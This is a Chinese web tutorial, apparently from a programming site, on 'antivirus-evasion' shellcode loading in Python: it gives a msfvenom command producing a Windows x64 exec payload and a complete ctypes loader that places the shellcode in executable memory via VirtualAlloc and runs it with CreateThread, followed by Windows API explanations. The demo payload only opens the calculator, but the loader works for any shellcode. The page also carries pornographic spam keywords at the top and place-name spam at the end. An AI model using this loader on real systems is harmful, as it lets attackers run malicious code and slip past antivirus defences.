最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python免殺技術(shù)shellcode的加載與執(zhí)行

 更新時間:2023年04月11日 09:29:12   作者:p0inter  
本文主要介紹了python免殺技術(shù)shellcode的加載與執(zhí)行,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

0x01 生成shellcode

首先通過下列命令生成一個shellcode,使用msfvenom -p選項來指定paylaod,這里選用windows/x64、exec模塊接收的參數(shù)。使用calc.exe執(zhí)行彈出計算器的操作。-f選項用來執(zhí)行生成的shellcdoe的編譯語言。

msfvenom -p windows/x64/exec CMD='calc.exe' -f py

在這里插入圖片描述

0x02 加載與執(zhí)行shellcode的程序

程序為:

# -*- coding:utf-8 -*-

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重載函數(shù)返回類型為void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請內(nèi)存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請的內(nèi)存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程
    WaitForSingleObject(c_int(h),c_int(-1))#檢測線程創(chuàng)建事件

if __name__ == "__main__":
    run1()

0x03 程序解釋

導(dǎo)入模塊,并且程序分配內(nèi)存還有可進(jìn)行讀寫操作。

import ctypes
from ctypes import *
from ctypes.wintypes import *
import sys

PAGE_EXECUTE_READWRITE = 0x00000040
MEM_COMMIT = 0x3000
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

區(qū)域可執(zhí)行代碼,可讀可寫

PAGE_EXECUTE_READWRITE = 0x00000040

分配內(nèi)存

MEM_COMMIT = 0x3000

給予進(jìn)程所有權(quán)限

PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

調(diào)用windows api

VirtualAlloc = windll.kernel32.VirtualAlloc
RtlMoveMemory = windll.kernel32.RtlMoveMemory
CreateThread = windll.kernel32.CreateThread
WaitForSingleObject = windll.kernel32.WaitForSingleObject
OpenProcess = windll.kernel32.OpenProcess
VirtualAllocEx = windll.kernel32.VirtualAllocEx
WriteProcessMemory = windll.kernel32.WriteProcessMemory
CreateRemoteThread = windll.kernel32.CreateRemoteThread

將前面生成的shellcode賦值給shellcode參數(shù),賦值前使用bytearray函數(shù)處理

shellcode = bytearray(
    b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    b"\x78\x65\x00"
)

創(chuàng)建一個方法并調(diào)用,申請內(nèi)存,將shellcode指向分配的內(nèi)存指針,再復(fù)制shellcode到內(nèi)存中,創(chuàng)建線程事件并執(zhí)行:

def run1():
    VirtualAlloc.restype = ctypes.c_void_p  #重載函數(shù)返回類型為void
    p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申請內(nèi)存
    buf = (c_char * len(shellcode)).from_buffer(shellcode)#將shellcdoe指向指針
    RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#復(fù)制shellcdoe到申請的內(nèi)存中
    h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #執(zhí)行創(chuàng)建線程
    WaitForSingleObject(c_int(h),c_int(-1))#檢測線程創(chuàng)建事件

VirtualAlloc是用來申請內(nèi)存空間,是一個Windows API函數(shù),它的聲明為:

LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的內(nèi)存區(qū)域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的類型
DWORD flProtect // 該內(nèi)存的初始保護(hù)屬性
};

RtlMoveMemory從指定內(nèi)存中復(fù)制內(nèi)存至另一內(nèi)存里.語法為:

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);

參數(shù):

Destination :指向移動目的地址的指針。
Source :指向要復(fù)制的內(nèi)存地址的指針。
Length :指定要復(fù)制的字節(jié)數(shù)。

CreateThread是一種微軟在Windows API中提供了建立新的線程的函數(shù),該函數(shù)在主線程的基礎(chǔ)上創(chuàng)建一個新線程。
函數(shù)原型:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)

參數(shù)意義

  • lpThreadAttributes:指向SECURITY_ATTRIBUTES型態(tài)的結(jié)構(gòu)的指針。在Windows 98中忽略該參數(shù)。在Windows NT中,NULL使用默認(rèn)安全性,不可以被子線程繼承,否則需要定義一個結(jié)構(gòu)體將它的bInheritHandle成員初始化為TRUE。
  • dwStackSize,設(shè)置初始棧的大小,以字節(jié)為單位,如果為0,那么默認(rèn)將使用與調(diào)用該函數(shù)的線程相同的??臻g大小。任何情況下,Windows根據(jù)需要動態(tài)延長堆棧的大小。
  • lpStartAddress,指向線程函數(shù)的指針,形式:@函數(shù)名,函數(shù)名稱沒有限制
  • lpParameter:向線程函數(shù)傳遞的參數(shù),是一個指向結(jié)構(gòu)的指針,不需傳遞參數(shù)時,為NULL。
  • dwCreationFlags :線程標(biāo)志,可取值如下
    • (1)CREATE_SUSPENDED(0x00000004):創(chuàng)建一個掛起的線程,
    • (2)0:表示創(chuàng)建后立即激活。
    • (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize參數(shù)指定初始的保留堆棧 的大小,否則,dwStackSize指定提交的大小。該標(biāo)記值在Windows 2000/NT and Windows Me/98/95上不支持。
  • lpThreadId:保存新線程的id。
    • WaitForSingleObject是一種Windows API函數(shù)。當(dāng)?shù)却栽趻炱馉顟B(tài)時,句柄被關(guān)閉,那么函數(shù)行為是未定義的。該句柄必須具有 SYNCHRONIZE 訪問權(quán)限。

聲明:

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);

hHandle[in]對象句柄??梢灾付ㄒ幌盗械膶ο?,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。

dwMilliseconds[in]定時時間間隔,單位為milliseconds(毫秒).如果指定一個非零值,函數(shù)處于等待狀態(tài)直到hHandle標(biāo)記的對象被觸發(fā),或者時間到了。如果dwMilliseconds為0,對象沒有被觸發(fā)信號,函數(shù)不會進(jìn)入一個等待狀態(tài),它總是立即返回。如果dwMilliseconds為INFINITE,對象被觸發(fā)信號后,函數(shù)才會返回。

運(yùn)行程序可以成功彈出計算器。

在這里插入圖片描述

到此這篇關(guān)于python免殺技術(shù)shellcode的加載與執(zhí)行的文章就介紹到這了,更多相關(guān)python shellcode加載與執(zhí)行內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python中使用多線程改進(jìn)flask案例

    python中使用多線程改進(jìn)flask案例

    這篇文章主要介紹了使用多線程改進(jìn)flask案例,線程是指進(jìn)程內(nèi)的一個執(zhí)行單元,也是進(jìn)程內(nèi)的可調(diào)度實體.線程的劃分尺度小于進(jìn)程,使得多線程程序的并發(fā)性高,更多具體內(nèi)容,需要的小伙伴可以參考下面文章相關(guān)資料,希望對你有所幫助
    2022-03-03
  • python創(chuàng)建文件時去掉非法字符的方法

    python創(chuàng)建文件時去掉非法字符的方法

    今天小編就為大家分享一篇python創(chuàng)建文件時去掉非法字符的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-10-10
  • python實現(xiàn)將多個txt文件的內(nèi)容合并為一個

    python實現(xiàn)將多個txt文件的內(nèi)容合并為一個

    這篇文章主要為大家詳細(xì)介紹了如何使用Python編寫一個腳本,可以將指定目錄中的多個.txt文件的內(nèi)容合并到一個文件中,有需要的小伙伴可以參考下
    2024-12-12
  • Python爬蟲之m3u8文件里提取小視頻的正確姿勢

    Python爬蟲之m3u8文件里提取小視頻的正確姿勢

    本文給大家分享如何正確提取m3u8文件里的.ts視頻,并合成完整的.mp4格式視頻,通過圖文實例代碼的形式給大家介紹的非常詳細(xì),對Python提取m3u8文件小視頻感興趣的朋友一起看看吧
    2021-05-05
  • 人工智能學(xué)習(xí)Pytorch梯度下降優(yōu)化示例詳解

    人工智能學(xué)習(xí)Pytorch梯度下降優(yōu)化示例詳解

    這篇文章主要為大家介紹了人工智能學(xué)習(xí)Pytorch梯度下降優(yōu)化示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步早日升職加薪
    2021-11-11
  • python學(xué)生信息管理系統(tǒng)(初級版)

    python學(xué)生信息管理系統(tǒng)(初級版)

    這篇文章主要為大家詳細(xì)介紹了python學(xué)生信息管理系統(tǒng)的初級版本代碼,文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-10-10
  • 實現(xiàn)?Python?腳本生成命令行

    實現(xiàn)?Python?腳本生成命令行

    這篇文章主要介紹了實現(xiàn)?Python?腳本生成命令行,文章通過定義一個?scrape?方法展開詳細(xì)內(nèi)容介紹,具有一定的參考價值,需要的小伙伴可以參考一下
    2022-05-05
  • Python后臺管理員管理前臺會員信息的講解

    Python后臺管理員管理前臺會員信息的講解

    今天小編就為大家分享一篇關(guān)于Python后臺管理員管理前臺會員信息的講解,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-01-01
  • python訪問類中docstring注釋的實現(xiàn)方法

    python訪問類中docstring注釋的實現(xiàn)方法

    這篇文章主要介紹了python訪問類中docstring注釋的實現(xiàn)方法,涉及python類注釋的訪問技巧,非常具有實用價值,需要的朋友可以參考下
    2015-05-05
  • Python之Numpy?常用函數(shù)總結(jié)

    Python之Numpy?常用函數(shù)總結(jié)

    這篇文章主要介紹了Python之Numpy?常用函數(shù)總結(jié),文章圍繞主題展開詳細(xì)的內(nèi)容介紹,具有一定的參考價值,需要的小伙伴可以參考一下
    2022-07-07

最新評論

杭锦旗| 九台市| 湟中县| 墨脱县| 成武县| 南丹县| 萝北县| 平舆县| 冀州市| 宁城县| 缙云县| 耒阳市| 汉寿县| 汨罗市| 安乡县| 衡阳县| 沙洋县| 连州市| 汕头市| 闽清县| 通榆县| 克拉玛依市| 百色市| 鸡西市| 阿拉尔市| 黄冈市| 含山县| 虎林市| 聂荣县| 鲁山县| 斗六市| 普定县| 乳山市| 安新县| 贵州省| 科技| 红河县| 安远县| 青河县| 鸡东县| 梁山县|